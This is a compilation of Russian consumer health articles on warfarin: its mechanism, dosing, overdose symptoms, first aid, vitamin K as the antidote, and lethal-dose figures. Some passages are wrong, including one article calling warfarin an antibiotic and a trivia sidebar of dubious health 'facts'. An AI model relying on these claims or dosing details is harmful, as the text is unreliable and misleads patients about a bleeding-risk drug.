Варфарин: побочные действия и передозировка, антидот и лечение при отравлении препаратом

Варфарин – популярный антикоагулянт непрямого действия, используемый преимущественно при профилактике и лечении тромбозов.

В случае передозировки данным препаратом, может возникнуть целый ряд патологий и синдромов.

Как вещество воздействует на организм? Каковы симптомы передозировки лекарством? Какую первую помощь можно оказать пострадавшему? Об этом и многом другом вы прочитаете в нашей статье.

Как варфарин действует на организм?

Основное фармакологическое действие варфарина основано на блокировке синтеза зависимых факторов свертывания крови преимущественно в печени. Препарат быстро всасывается из пищеварительного тракта, связывается с белками плазмы и содержится в виде рацемических соединений.

Терапевтический эффект варфарина проявляется спустя 1 сутки после начала курса и достигается своего пика к 4-6 дню использования при условии поддержки дозировки.

В случае отмены приёма, зависимые факторы свертывания крови полностью восстанавливаются в течение 5 суток.

Период полного выведения из организма колеблется в пределах 37-90 часов – метаболиты присутствуют преимущественно в желчи и моче, попутно реабсорбируясь в пищеварительном тракте.

Основная особенность лекарственного средства – это высокая вероятность взаимодействия варфарина с огромным количеством самых разнообразных препаратов и веществ, который в совокупности могут как ослаблять, так и значительно усиливать терапевтический эффект данного антикоагулянта.

Нормальная доза варфарина для взрослого и ребенка

Так, изменяют интенсивность воздействия варфарина на свертываемость крови антибиотики, кортикостероиды, салицилаты, барбитураты, противодиабетические средства, фенитоины, клофибраты, нестероидные противовоспалительные вещества и так далее.

Перед назначением варфарина необходимо сдать анализ на протромбиновое время и вычислить протромбиновый индекс, после чего регулярно проходить контроль данного параметра в процессе основного лечения. В мировой медицинской практике чаще всего для этих целей используется так называемый международный нормализированный индекс или INR.

Возможные стартовые дозировки:

  • Взрослым с нормальной массой тела и INR ниже 1,2 – по 10 миллиграмм препарата в сутки на протяжении 3 дней, после чего производится повторное изменение нормализированного индекса и корректируется дозировка;
  • Пожилым с нормальной массой тела и INR выше 1,2 – 5 миллиграмм варфарина на протяжении первых 3 дней;
  • Детям при INR от 1 до 1,3 – стартовая доза 0,2 миллиграмма на 1 килограмм массы тела. При наличии почечных патологий – 0,2 мг/кг массы тела.

Дозировки в последующие дни напрямую зависят от динамического изменения INR по мере приёма лекарственного средства – если индекс увеличиваются, то дозировку пропорционально уменьшают. В том случае, когда INR уменьшается, то терапевтическая схема «откатывается» к стартовой дозе.

При любых обстоятельствах, лечение варфарином проводится только под контролем профильного специалиста с регулярной сдачей анализов на значение международного нормализированного индекса!

Симптомы передозировки варфарином и побочные эффекты препарата

Основной симптом передозировки варфарином вне зависимости от обстоятельств – это появление кровотечений, как открытых, так и внутренних, притом на периферии и в основных системах организма. У пострадавшего могут наблюдаться и иные клинические проявления, включающие в себя:

  • Формирование отеков и гематом по всему телу;
  • Изменение цвета и консистенции мочи;
  • Появление дегтеобразного стула;
  • Обильная частая неудержимая рвота – выделения имеют цвет «кофейной гущи»;
  • Системные нарушения зрения – от резкого снижения его остроты до появления «мушек», удвоения контуров и так далее;
  • Средний или сильный болевой синдром в грудной либо брюшной полости.
  • Расстройства координации и сознания – головокружения, звон и шум в ушах, несвязная речь, шаткость походки, прочее;
  • Резкая гипотония с частичным либо полным онемением конечностей, гипотермией.
  • Сильная одышка и иные нарушения дыхания;
  • Сильная отечность – сначала в конечностях, а потом и по всему телу.

Побочные действия варфарина при длительном применении, помимо потенциального риска кровотечений, включают в себя:

  • Желтуху со значительным повышением уровня печеночных ферментов;
  • Диарею;
  • Анемию;
  • Эозинофилию;
  • Уролитиаз, нефрит, некроз тубулярного типа;
  • Лихорадочные состояния, снижение гематокрита, пурпуру, панкреатит, гепатит холестатичесого типа и кальцификации трахеи, а также иные проявления постреактивного периода;
  • Аллергические реакции – как местные кожные, так и системные.

Первая помощь при передозировке

При передозировке варфарином пострадавшему необходимо оказать первую доврачебную помощь, параллельно вызвав бригаду медиков – с большой долей вероятности пациент после осмотра будет направлен в ближайший стационар для прохождения мониторинга состояния, интенсивной терапии, возможно реанимации (в случае тяжелой степени передозировки).

Стандартные действия могут включать в себя:

  • Промывание желудка и вызов рвоты. Процедура актуальна в первые часы после передозировки, когда полного всасывания препарата в кровоток еще не произошло. Пострадавшему, если он находится в сознании и сохранены все рефлексы, дают выпить 1-2 литра воды, после чего производят надавливание на корень языка. При необходимости мероприятие повторяют несколько раз;
  • Сорбенты. Схема приёма – 10-30 грамм адсорбирующего вещества на разовый приём, которое нужно запить небольшим количеством воды. Типичные препараты – активированный уголь, Полисорб, Смекта;
  • Ожидание приезда скорой помощи. До прибытия бригады медиков пострадавший помещается в горизонтальное положение на бок, под голову подкладывается валик из подручных материалов либо подушка. Осуществляется контроль жизненных показателей пациента – его дыхания, сердцебиения и пульса, при необходимости оказываются ручные реанимационные процедуры;
  • Антидот. Прямым антидотом варфарина является викасол или же витамин К. Он восстанавливает коагулянтную активность и обычно может применяться при средней либо тяжелой степени передозировки, но с обязательным мониторингом индекса INR (МНО), что значительно усложняет его применение в «полевых» условиях. При длительном отсутствии квалифицированной медицинской помощи с учетом рисков появления тромбоза, викасол может быть введен внутривенно либо перорально дозировкой 5-10 миллиграмм.

Похожие статьи

Восстановление организма после передозировки

Основной курс интенсивной терапии после передозировки варфарином проводится в условиях стационара. Возможные процедуры:

  • Введение антидота варфирина — Викасола. Викасол используют при индексе INR выше 6 – по 2 миллиграмма препарата каждые 4 часа. В случае если значение МНО выше 10 – рационально вводить внутривенно 5-10 миллиграмм витамина К;
  • Плазмаферез. Очищение крови от токсических компонентов препарата осуществляется при тяжелых передозировках варфарином. В случае сильного кровотечения и очень тяжелого состояния пациента проводят прямое вливание плазмы;
  • Капельница. Классический физраствор и глюкоза при тяжелых формах передозировки дополняется внутривенным капельным введением веществ, являющихся белковыми факторами свертывания крови;
  • Поддержка жизненных показателей. Симптоматическая терапия и реанимация осуществляется по стандартным протоколам и позволяет поддерживать в норме все основные жизненные показатели – дыхание, артериальное давление, сердцебиение, прочие параметры.

Последствия и осложнения передозировки

При правильной, своевременной, квалифицированной медицинской помощи риск развития осложнений передозировки варфарином относительно невысок. Однако в ряде случаев подобное обстоятельство может повлечь за собой определенные негативные последствия.

Типичные последствия:

  • Заболевания желудочно-кишечного тракта;
  • Печеночная недостаточность;
  • Патологии сердечно-сосудистой системы;
  • Стойкие формы анемии;
  • Системные вторичные бактериальные инфекции, в том числе генерализированные, например, сепсис или бактериемия;
  • Летальный исход как следствие неоказания квалифицированной медпомощи, либо её несвоевременности (сильная кровопотеря, остановка дыхания или сердцебиения).

Экспериментально доказанная разовая смертельная доза варфарина колеблется в пределах от 50 до 80 миллиграммов препарата на 1 килограмм массы тела и зависит от множества факторов – текущего индекса свертываемости крови конкретного человека, наличия заболевания, патологий, особых физиологических состояний организма.

Однако летальный исход может наступить и при меньшей дозировке, например как следствие кровопотери, внутренних кровотечений важных систем организма, остановки дыхания и сердечной деятельности.

Виктор Системов — эксперт сайта 1Travmpunkt

С этой статьей часто читают… Передозировка Глицин: польза и вред препарата Передозировка Фенобарбитал: действие препарата на организм при передозировке Передозировка Последствия передозировки препарата Триган-Д Передозировка Нош-шпа (дротаверин): передозировка и смертельная доза

Источник: https://1travmpunkt.com/otravlenija/peredozirovka/varfarin.html

«Варфарин» — передозировка и её лечение

Препарат «Варфарин» можно найти в аптечке многих людей старше 45 лет. А всё потому что болезни сердечно-сосудистой системы по-прежнему лидируют в заболеваемости и смертности населения. Терапевты, кардиологи, сосудистые хирурги, неврологи часто назначают этот препарат, потому что он является наиболее доступным в своей категории. «Варфарин» — лекарство довольно сильное, и получить передозировку не так уж сложно, особенно если пациент занимается самолечением.

«Варфарин» у многих на слуху, но не все знают, как он действует. Что же это за препарат? Какую пользу и вред «Варфарин» может нести для человека? Как определить передозировку лекарства и какую первую помощь оказать пострадавшему? Ответы на эти вопросы желательно знать каждому, ведь предупрежден, значит, вооружён.

Кому и для чего назначается «Варфарин»

«Варфарин» — это антикоагулянт, имеющий искусственное происхождение и обладающий непрямым действием. Антикоагулянтами называют препараты, снижающие свёртываемость крови.

Непрямым «Варфарин» называется потому, что действует он в печени, блокируя действие витамина K, снижая выработку факторов свёртываемости II, VII, IX и X и некоторые белки.

Факторы свёртывания образуются, но они плохо выполняют свои функции.

«Варфарин» относится к препаратам с отсроченным сроком действия — свёртываемость крови начинает снижаться лишь через 3–5 дней после начала приёма.

Максимальное действие препарата «Варфарин» развивается через неделю.

Такой эффект объясняется тем, что в крови на протяжении ещё некоторого времени сохраняются нормальные факторы свёртывания, а затем их заменяют нефункционирующие.

Где ещё применяется «Варфарин»? Сначала этот препарат использовался в качестве яда для грызунов. И по сей день он входит в состав препаратов, уничтожающих мышей и крыс, и применяется в складских помещениях, на производстве.

«Варфарин» аптечный представляет собой белые таблетки без вкуса и запаха. А яд представляет собой порошок, который подмешивают в пищу-приманку.

В каких случаях возможна передозировка препаратом «варфарин»

Доза для каждого человека подбирается индивидуально врачом, основываясь на результатах анализа на МНО (международное нормализованное отношение). МНО — это показатель, который отражает протромбиновое время (скорость свёртывания крови). В норме у здорового человека он равен 0,9–1,1. Принимая «Варфарин» МНО нужно держать в пределах 2,0–3,0.

Как можно получить передозировку варфарином? Если речь идёт о крысином яде, то чаще всего пострадавшим будет маленький ребёнок либо домашнее животное, по неосторожности съевшее приманку.

  • пренебречь рекомендациями врача и заняться самолечением;
  • больной страдает нарушением психики или забывчивостью;
  • лекарство используется в качестве суицидального средства.

Таблетки «Варфарин» маленькие и поделены рисками на 4 части — это неспроста. Если такую маленькую таблетку нужно делить ещё и на 4 части, значит, вещество является сильнодействующим.

Симптомы передозировки варфарина

Симптомы передозировки препаратом «Варфарин» будут связаны с повышенной кровоточивостью и кровотечениями.

Как уже говорилось ранее, первые признаки передозировки появляются лишь на третий день после начала приёма и зависеть они будут от дозы принятого лекарства.

Если одномоментно была употреблена, например, целая таблетка «Варфарин» вместо четвертинки, то никаких проявлений, может, и не быть. Другое дело, если дозировка превышается систематически в течение длительного времени.

При превышении дозы «Варфарин» развиваются следующие побочные действия:


  • кровоточивость дёсен;
  • кровотечения из носа;
  • у женщин становятся более обильными и длительными менструации;
  • большие по размеру гематомы появляются при незначительных ушибах, долго не рассасываются;
  • кровоизлияния в склеры глаз;
  • геморроидальные кровотечения;
  • длительно непрекращающиеся кровотечения при различных даже незначительных ранениях.

Для возникновения кровотечения или кровоизлияния нужны какие-то провоцирующие факторы, например, царапины, ссадины, повреждение геморроидальных узлов.

Кровоточивость дёсен возникает при чистке зубов, кровоизлияния в склеры или кровотечения из носа — при повышении артериального давления.

При длительной передозировке препарата «Варфарин» кровоподтёки и кровоизлияния начинают появляться, даже если им не предшествовали ушибы.

Что чувствует пациент? Человек, злоупотребляющий препаратом «Варфарин», может чувствовать неожиданно наступающую ни с чем не связанную слабость, если потеря крови носит систематический характер, то со временем развивается анемия. Особенно это касается женщин с длительными и обильными кровянистыми выделениями.

Наиболее страшным осложнением при передозировке варфарина могут стать внутренние кровотечения. Особенно это касается людей:

  • с язвенной болезнью желудка и двенадцатипёрстной кишки;
  • с мочекаменной и желчнокаменной болезнью;
  • со злокачественными опухолями;
  • болезнями лёгких, сопровождающихся кровохарканьем и т. д.

Внутреннее кровотечение сложнее обнаружить и остановить. Оно может быстро закончиться летальным исходом, если не предпринять немедленных действий.

Лечение передозировки препаратом «Варфарин»

Отравление варфарином — состояние, требующее обращения за медицинской помощью. Самостоятельное лечение может оказаться не только малоэффективным, но и вредным.

Антидотом варфарина является витамин K, зарегистрированный в России под названием «Викасол». Он существует как в таблетках, так и в виде растворов для инъекций.

Обязательно нужно проводить лабораторный контроль, потому что лечение передозировки варфарина проводится под контролем уровня МНО.

Тактика лечения, при передозировке варфарина, выбирается в зависимости от уровня МНО.

  1. Если МНО находится в пределах от 3 до 4, то следует просто снизить дозу препарата. «Викасол» назначать не нужно.
  2. Когда уровень МНО составляет от 4 до 6, витамин K тоже назначать ещё не нужно, но рекомендуется пропустить одну дозу «Варфарин» и снизить временно последующие.
  3. При значениях МНО 6–10 «Варфарин» отменяют, назначают «Викасол» по 2 мг в таблетках, до тех пор, пока МНО не станет меньше 5.
  4. Если МНО превышает 10, «Варфарин» обязательно отменяется, а «Викасол» назначается в дозе 5 мг внутрь.

Эти рекомендации действуют только при отсутствии жизнеугрожающих кровотечений. При передозировке препаратом «Варфарин», приведшей к сильному кровотечению нужно:

  • ввести «Викасол» в дозе 5–10 мг внутривенно;
  • вливать свежезамороженную плазму;
  • вводить внутривенно капельно факторы свёртываемости крови.

Что делать, если передозировка препаратом «Варфарин» незначительная? В домашних условиях можно соблюдать диету, богатую витамином K. Это вещество в достаточном количестве содержится:

  • в петрушке и другой зелени;
  • капусте;
  • в овощах зелёного цвета;
  • в растительном масле.

Передозировка варфарина может пройти без проявлений и последствий, а может окончиться плачевно. Главным правилом приёма этого препарата является регулярное врачебное наблюдение и контроль свёртывания крови. Главным критерием является МНО.

Если кровоточивость всё же появилась, следует обратиться за медицинской помощью. Лечение при передозировке варфарина проводится в зависимости от показателей свёртываемости.

Антидот варфарина — препарат «Викасол», который является основным средством при лечении передозировки.

Источник: https://otravleniya.net/ximicheskie-otravleniya/varfarin-peredozirovka.html

Варфарин: риск отравления

Варфарин – это лекарственный препарат из группы непрямых антикоагулянтов, который назначается для предупреждения образования тромбов. Отравление антибиотиком или передозировка приводит к повышенной кровоточивости с последующим развитием геморрагического синдрома, что может стать причиной смерти.

Признаки отравления Варфарином и причины передозировки

Передозировка антибиотиком нередко случается из-за невнимательности пациента, его неумения правильно рассчитать дозу и при нарушении правил введения лекарственного средства. Препарат отпускается в аптеке строго по рецепту врача. Лечение Варфарином должно проводиться только при условии регулярной сдачи анализа крови на МНО (международное нормализированное отношение).

В зоне риска отравления оказываются:

  • пациенты с плохой памятью, нарушением психики;
  • люди с суицидальными наклонностями, тягой к манипуляциям;
  • дети, животные, если антибиотик Варфарин лежит в доступном месте.

Дозировка препарата рассчитывается для каждого пациента индивидуально, зависит от массы тела, показателей крови. Важно учитывать общее состояние организма, сохранность функции почек и наличие других патологий, в том числе заболеваний печени.

Клиническая картина отравления Варфарином достаточно показательна, что хорошо для диагностики. Главный признак – появление кровотечений, гематом. Чаще всего это состояние проявляется:

  • кровоточивостью десен;
  • появлением черного кала или рвоты цвета кофейной гущи;
  • носовыми кровотечениями;
  • гематурией (кровь в моче);
  • кровяными прожилками в мокроте при кашле.

При отравлении пациент жалуется на выраженные боли в области живота, ощущение холода в конечностях, появляются проблемы с координацией, походкой, речью, появляется нарушение сознания. Летальный исход после Варфарина наступает от обширного внутреннего кровотечения или кровоизлияния в головной мозг.

Алгоритм оказания первой помощи

При отравлении Варфарином пациента следует немедленно госпитализировать для стабилизации состояния и введения антидота, который есть только в специализированных лечебных учреждениях. Там можно обеспечить правильный уход, круглосуточное наблюдение за пациентом.

В первую очередь следует прекратить прием препарата Варфарин, изъять остатки (особенно при попытке самоубийства).

По возможности в кратчайшие сроки выполнить промывание желудка при отравлении до чистых вод, дать пациенту выпить абсорбент (активированный уголь). Для нормализации состояния следует употреблять большое количество жидкости, чистую воду, отвары из сухофруктов.

Можно ли обойтись без вызова скорой помощи

При обильных кровотечениях, угнетения сознания после Варфарина необходимо срочно вызвать бригаду скорой помощи. До ее приезда пациент находится в горизонтальном положении и осуществляется контроль дыхания, частоты сердечных сокращений, артериального давления.

При хроническом отравлении необходимо немедленно обратиться к врачу и в этом случае можно обойтись без вызова бригады скорой помощи. При небольшом увеличении дозы нередко появляются малые кровотечения, которые проходят незаметно для пациента.

Это чревато развитием постгеморрагической анемии, что требует коррекции дозы Варфарина, назначения симптоматической терапии.

При отравлении препаратом обязателен вызов бригады скорой помощи детям, пожилым людям, беременным женщинам. Особое внимание необходимо уделить пациенту с развитием острого или массивного кровотечения, которое сопровождается нарушением или потерей сознания.

В сочетании с какими продуктами или препаратами возможна интоксикация

Многие лекарственные средства способны потенциировать (то есть усиливать) эффект Варфарина. Врач должен помнить об этом при назначении курса терапии. К этим антибиотикам относятся:

  • группа нестероидных противовоспалительных препаратов;
  • ингибиторы цитохрома р450;
  • анальгин может увеличить риск отравления;
  • гепарин усиливает Варфарин;
  • гипогликемические препараты;
  • статины;
  • многие группы антибиотиков.

Варфарин негативно сочетается с алкоголем, о чем пациента необходимо предупреждать заранее, чтоб уменьшить риск отравления. Одновременный прием препарата и алкоголя приводит к формированию противотромботических белков. Такое состояние характерно для пациентов с алкогольной зависимостью, для которых характерно повреждение гепатоцитов.

При употреблении спиртных напитков печень и мочевыделительная система получают дополнительную нагрузку, а их усиленная работа приводит к повышению выработки компонентов системы свертывания крови. Увеличивается риск отравления. Это нивелирует действие Варфарина, приводит к повышенному тромбообразованию.

Строго противопоказано употребление клюквенного сока при лечении препаратом. Клинические исследования показали, что подобное сочетание в 4 раза увеличивает риск развития желудочного кровотечения. К продуктам, от которых стоит отказаться относятся петрушка, шпинат, латук, тыква, авокадо, белокочанная, цветная капуста, киви и бананы.

 Загрузка …

Есть ли антидот к Варфарину

При отравлении тактика лечения зависит от показателей МНО и наличия/отсутствия значимого кровотечения. Специфический антидот – витамин К.

  1. Если МНО выше терапевтического, но не превышает 5 и нет кровотечения, то стоит просто пропустить прием лекарства Варфарин, возобновить лечение антибиотиком после отравления в меньшей дозировке.
  2. Если цифры МНО колеблются между 5 и 9, но кровотечения нет, то стоит пропустить 2 приема препарата с контролем ПТИ, коагулограммы. В этом случае назначают витамин К перорально в форме таблеток.
  3. При серьезном кровотечении вводят антидот Варфарина – Викасол, свежезамороженную плазму или рекомбинантный фактор VIIа.

Витамин К способствует восстановлению нормальной функции системы свертываемости, улучшает реологическое состояние крови. Это не происходит мгновенно, требуется наблюдение за состояние пациента, симптомы отравления Варфарином уходят постепенно.

Опасность и возможные последствия отравления

Передозировка или отравление препаратом Варфарин имеет серьезные последствия для всего организма. Это чревато развитием острого инфаркта миокарда, геморрагического или ишемического инсульта головного мозга, кровотечения вплоть до летального исхода.

При длительном и хроническом интоксикации антибиотиком возможно развитие осложнения в виде индуцированного остеопороза как результат нарушения минерализации костной ткани.

Если отказали ноги при отравлении Варфарином— нужно прекратить употребление препарата, возобновить прием витамина К.

Патогенез подобного состояния – реакция на недостаточное карбоксилирование белков, «вымывание» их из костей.

При развитии геморрагического синдрома показано симптоматическое лечение, вплоть до переливания эритроцитарной массы. Цель такого лечения – восполнить объем циркулирующей крови, красных кровяных телец, вернуть в норму цветовой показатель.

Статья была одобрена редакцией

Источник: https://toxikos.ru/otravleniya/varfarin

Передозировка Варфарином

Варфарин относится к непрямым антикоагулянтам – веществам, угнетающим свертывающее звено гемостаза. Их прием препятствует формированию тромбов и останавливает рост уже сформированных.

Это свойство непрямых коагулянтов нашло активное применение в кардиологии, неврологии и хирургической практике. Противосвертывающий эффект Варфарина проявляется через 2–3 суток и в полной мере развивается к концу первой недели приема.

Препарат предназначен для длительного, зачастую пожизненного применения у людей со склонностью к тромбообразованию.

Источник: alcogolizm.com

Основными показаниями являются:

  • острый или рецидивирующий венозный тромбоз;
  • тромбоэмболия легочной артерии;
  • преходящие нарушения мозгового кровообращения;
  • ишемический инсульт;
  • профилактика рецидива инфаркта миокарда и тромбоэмболических осложнений в восстановительном периоде;
  • профилактика тромбоэмболий у пациентов с нарушениями сердечного ритма;
  • заболевания клапанов сердца или состояние после их протезирования;
  • профилактика послеоперационных тромбозов.

Все болезни и состояния, при которых повышен риск кровотечений, являются прямым противопоказанием к приему данного препарата. В частности, к ним относятся: заболевания свертывающей системы крови, сосудов, беременность, тяжелые хронические поражения печени и почек, язвенная болезнь желудка и двенадцатиперстной кишки, геморрагический инсульт в анамнезе.

Особенностью приема Вафарина является обязательный регулярный лабораторный контроль МНО (Международное Нормализованное Отношение) на всем протяжении терапии.

МНО – это лабораторный тест, отражающий состояние свертывающей системы крови, который рекомендован Всемирной Организацией Здравоохранения.

Оптимальное значение МНО на фоне приема Варфарина определяется индивидуально для конкретной клинической ситуации и обычно находится в диапазоне 2–3.

При некорректном режиме дозирования или нарушении схемы приема может развиться передозировка, чреватая тяжелыми, в том числе угрожающими жизни осложнениями.

Какое количество Варфарина необходимо для передозировки?

Препарат принимают 1 раз в сутки в одно и то же время. Стандартная суточная доза Варфарина (амбулаторно) на момент начала терапии 2,5–7,5 мг. В дальнейшем под контролем МНО доза корректируется до достижения стабильного лечебного эффекта.

Доза препарата 20–30 мг/сут с высокой вероятностью вызовет симптомы передозировки, хотя говорить о конкретном количестве вещества в данном случае не вполне корректно: у ряда пациентов проявления передозировки развиваются при приеме стандартной поддерживающей дозы, а некоторые пациенты без каких-либо осложнений получают ударную дозу. Большую роль в данном случае играет индивидуальная чувствительность к препарату.

Возможную передозировку отслеживают по изменению МНО и характерным клиническим проявлениям: при значении показателя более 5 корректируют дозу, более 9 – отменяют препарат.

Признаки передозировки

Основной признак передозировки Варфарином – повышенная кровоточивость, проявляющаяся в возникновении кровотечений как явных, так и скрытых. Пациентам, принимающим препарат, следует обращать внимание на появление определенных признаков, которые могут явно или косвенно свидетельствовать о развившемся осложнении.

Косвенные признаки передозировки Варфарином:

  • кровоточивость десен при чистке зубов, употреблении твердой пищи;
  • спонтанные носовые кровотечения;
  • появление небольших гематом, не связанное с предшествующей травмой;
  • длительное, не соответствующее степени повреждения кровотечение из ран, даже незначительных;
  • у женщин – более обильные и длительные, чем обычно, менструальные выделения.

Явные признаки передозировки (требуют немедленного врачебного вмешательства):

  • черный дегтеобразный стул (мелена) или рвота «кофейной гущей»;
  • окрашивание мочи – от розового до интенсивного красного цвета;
  • обильные кровотечения из носа или десен;
  • у женщин – длительная обильная менструация, межменструальные кровотечения;
  • кашель с прожилками крови в мокроте;
  • резкое снижение артериального давления, тахикардия, сердцебиение, одышка;
  • кровотечения из мелких ран и порезов длительностью более 10 минут;
  • головокружение, резкая головная боль, затруднение речи, шум, звон в ушах;
  • нарушения зрения (двоение, мелькание «мушек» перед глазами, снижение остроты);
  • резкое похолодание конечностей, онемение, чувство ползающих по коже мурашек, ограничение движений в конечностях;
  • нарушение координации, шаткость походки;
  • внезапная интенсивная боль в брюшной или грудной полости;
  • обширные гематомы, области припухания, появляющиеся без связи с травмирующим воздействием;
  • массивные отеки нижних конечностей.

Источник: depositphotos.com

Первая помощь при передозировке

При появлении косвенных признаков передозировки Варфарином необходимо:

  1. Прекратить прием препарата.
  2. Обратиться к лечащему доктору для контроля МНО и, в случае необходимости, коррекции дозы.

Если имеют место явные признаки кровотечения необходимо безотлагательно вызвать бригаду скорой медицинской помощи.

Антидот

Специфическим антидотом, нейтрализующим действие Варфарина, является витамин К и его синтетический аналог – Викасол.

В случае развития кровотечения, вызванного передозировкой Варфарином, назначаются индивидуально рассчитанные дозы витамина К (Викасола) до восстановления активности свертывающего звена.

Когда требуется медицинская помощь?

Медицинская помощь необходима, если:

  • пострадала беременная женщина, пожилой человек, ребенок;
  • отмечаются явные признаки наружного или внутреннего кровотечения;
  • внезапно резко ухудшилось самочувствие.

В зависимости от тяжести состояния помощь оказывается на месте или производится госпитализация в профильное отделение стационара, где продолжается лечение:

  • прекращение приема препарата до достижения целевого уровня МНО, в случае необходимости замена Варфарина на низкомолекулярный гепарин;
  • переливание концентратов факторов протромбинового комплекса, свежезамороженной плазмы или цельной крови;
  • введение витамина К в дозе 5–10 мг путем медленной внутривенной инфузии, при необходимости – повторное введение через 12 часов;
  • терапия развившихся осложнений.

Возможные последствия

Передозировка Варфарином может иметь серьезные осложнения:

  • острый инфаркт миокарда;
  • геморрагический инсульт;
  • кровотечения различной локализации;
  • летальный исход.

Профилактика

  • Для недопущения передозировки Варфарином необходимо тщательно контролировать состояние свертывающей системы крови: регулярно, не реже 1 раза в 2 недели, отслеживать показатель МНО и при необходимости корректировать дозу.
  • Видео с YouTube по теме статьи:

Олеся Смольнякова Терапия, клиническая фармакология и фармакотерапия Об авторе

Образование: высшее, 2004 г. (ГОУ ВПО «Курский государственный медицинский университет»), специальность «Лечебное дело», квалификация «Врач». 2008-2012 гг. – аспирант кафедры клинической фармакологии ГБОУ ВПО «КГМУ», кандидат медицинских наук (2013 г., специальность «фармакология, клиническая фармакология»). 2014-2015 гг. – профессиональная переподготовка, специальность «Менеджмент в образовании», ФГБОУ ВПО «КГУ».

Информация является обобщенной и предоставляется в ознакомительных целях. При первых признаках болезни обратитесь к врачу. Самолечение опасно для здоровья!

Поделиться:

Знаете ли вы, что:

Во время работы наш мозг затрачивает количество энергии, равное лампочке мощностью в 10 Ватт. Так что образ лампочки над головой в момент возникновения интересной мысли не так уж далек от истины.

На лекарства от аллергии только в США тратится более 500 млн долларов в год. Вы все еще верите в то, что способ окончательно победить аллергию будет найден?

Когда влюбленные целуются, каждый из них теряет 6,4 ккалорий в минуту, но при этом они обмениваются почти 300 видами различных бактерий.

Даже если сердце человека не бьется, то он все равно может жить в течение долгого промежутка времени, что и продемонстрировал нам норвежский рыбак Ян Ревсдал. Его «мотор» остановился на 4 часа после того как рыбак заблудился и заснул в снегу.

Средняя продолжительность жизни левшей меньше, чем правшей.

Работа, которая человеку не по душе, гораздо вреднее для его психики, чем отсутствие работы вообще.

Кроме людей, от простатита страдает всего одно живое существо на планете Земля – собаки. Вот уж действительно наши самые верные друзья.

Согласно исследованиям ВОЗ ежедневный получасовой разговор по мобильному телефону увеличивает вероятность развития опухоли мозга на 40%.

В стремлении вытащить больного, доктора часто перегибают палку. Так, например, некий Чарльз Йенсен в период с 1954 по 1994 гг. пережил более 900 операций по удалению новообразований.

Желудок человека неплохо справляется с посторонними предметами и без врачебного вмешательства. Известно, что желудочный сок способен растворять даже монеты.

  1. Самая высокая температура тела была зафиксирована у Уилли Джонса (США), который поступил в больницу с температурой 46,5°C.
  2. Если улыбаться всего два раза в день – можно понизить кровяное давление и снизить риск возникновения инфарктов и инсультов.
  3. При регулярном посещении солярия шанс заболеть раком кожи увеличивается на 60%.

Американские ученые провели опыты на мышах и пришли к выводу, что арбузный сок предотвращает развитие атеросклероза сосудов. Одна группа мышей пила обычную воду, а вторая – арбузный сок. В результате сосуды второй группы были свободны от холестериновых бляшек.

Препарат от кашля «Терпинкод» является одним из лидеров продаж, совсем не из-за своих лечебных свойств.

Жизнь с рефлюксной болезнью

Жизнь с проявлением рефлюксной болезни — изжогой дискомфортна: неприятное ощущение жжения может нарушать привычный ритм жизни. К тому же состояние не так безоби…

Источник: https://www.neboleem.net/peredozirovka-varfarinom.php

Передозировка Варфарина — побочные действия, симптомы и лечение

Варфарином называют вещество, которое относится к антикоагулянтам с непрямым механизмом действия. Впервые он был выделен из сладких сортов клевера. Было обнаружено, что коровы, евшие испорченное сено из этого растения, погибали от кровотечений, возникавших даже после незначительных ран.

Исследователи данной эпидемии быстро нашли причину, и занялись изучением свойств клевера. Они установили, что его употребление приводит к снижению функции протромбина, однако, долго не удавалось выделить действующее вещество, дающее такой эффект. Лишь в середине 20-го века были получены первые миллиграммы чистого антикоагулирующего препарата, который был назван дикумаролом.

Он являлся продуктом превращения кумарина, который метаболизируется разнообразными грибами, и превращается в антикоагулянт. Кумарин же присутствует во многих растениях, имеющих сладковатый запах, и особенно много его в доннике, или сладком клевере. Позже было начато применение этого вещества в медицине, с целью препятствования образованию тромбов и эмболии сосудов.

Механизм действия препарата

Препарат Варфарин относится к антикоагулянтам, которые имеют непрямой механизм действия. Это означает, что он не влияет на факторы свертывания непосредственно в крови, зато выступает как антагонист фермента в их синтезе.

Механизм действия заключается в том, что препарат ингибирует действие фермента эпоксил редуктазы, в следствии чего он подавляет синтез биологически активных факторов свертывания крови, в котором принимает участие витамин К.

В ходе активации системы гемостаза, в норме происходит карбокслирование остатков глутаминовых кислот, что позволяет факторам свертывания взаимодействовать с фосфолипидами, расположенным на эндотелии кровеносных сосудов. В случае применения Варфарина снижается уровень печеночного синтеза протромбина и проконвертина, а также ряда других факторов.

Эта реакция происходит благодаря ферменту гамма-глутамил карбоксилазе. Однако превращение идет лишь до тех пор, пока фермент присутствует восстановленный витамин К, который является кофактором этой реакции. Он отвечает за синтез полноценных, с функциональной точки зрения, факторов свертывания. В ходе превращения он окисляется, образовывая неактивную форму К-эпоксид.

Именно его обратному восстановлению и препятствуют антикоагулянты непрямого действия, блокируя фермент эпоксил редуктазу, и блокируя его обратное превращение.

Снижение концентрации факторов свертывания в плазме наступает не сразу, у них имеется определенный латентный период.

Это объясняется тем, что после введения этих лекарств в крови продолжают циркулировать синтезированные ранее нормальные факторы свертывающей системы.

Препарат Мишень Механизм действия Путь введения Быстрота действия Длительность действия Длительность назначения Антагонисты
Антикоагулянты прямые Кровь Нарушение превращения протромбина в тромбин Парентеральный Секунды Часы Часы, дни Протамин
сульфат
Антикоагулянты непрямые Печень Нарушение синтеза протромбина Ентеральный, парентеральный Часы Дни Недели Витамин К

Цели применения лекарства

Основной целью, с которой применяют препараты данного ряда, является длительная профилактика и снижение риска развития тромбоза или тромбоэмболии. Причем их используют и в хирургической и в терапевтической практике. Хорошие результаты дает лечение Варфарином инфаркта миокарда и рецидивирующих тромбозов.

Важно понимать, что препарат действует на многие белки, и затрагивает и другие процессы в организме. Из этого вытекает что побочные эффекты Варфарина могут быть крайне разнообразны, и, иногда, не связанны с свертываемостью крови.

Показания к применению

Показания к применению этого вещества разнообразны. Наиболее часто назначение Варфарина происходит при:

  • Тромбофлебит
  • Тромбоэмболия легочной артерии
  • Инфаркты миокарда
  • Стенокардия, особенно нестабильная
  • Ревматические пороки сердца
  • Послеоперационные тромбозы
  • Трепетание предсердий
  • Показан пациентам с протезированными клапанами сердца или сосудов

При назначении нужно учитывать тот факт, что варфарин, как и другие непрямые антикоагулянты, обладает «отложенным действием». Его эффект наступает через 2-4 дня после начала применения.

